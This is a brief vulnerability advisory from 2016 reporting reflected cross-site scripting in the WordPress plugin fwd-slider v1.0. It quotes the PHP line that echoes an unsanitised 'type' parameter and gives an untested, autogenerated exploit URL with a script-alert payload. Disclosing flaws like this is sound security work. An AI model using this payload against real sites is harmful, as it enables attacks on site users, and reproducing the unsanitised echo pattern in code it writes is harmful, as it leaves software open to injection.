Advisory #: 797
Title: Reflected XSS in wordpress plugin fwd-slider v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/fwd-slider
Downloads: 604
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: fwd-slider
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./fwd-slider/pages/fwds_edit.php: 62:<h1><?php echo WP_fwds_TITLE;?></h1><h4><em>Edit <?php echo $_GET['type'];?></em></h4> The variable type appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./fwd-slider/pages/fwds_edit.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/fwd-slider/pages/fwds_edit.php?type="><script>alert(1);</script><"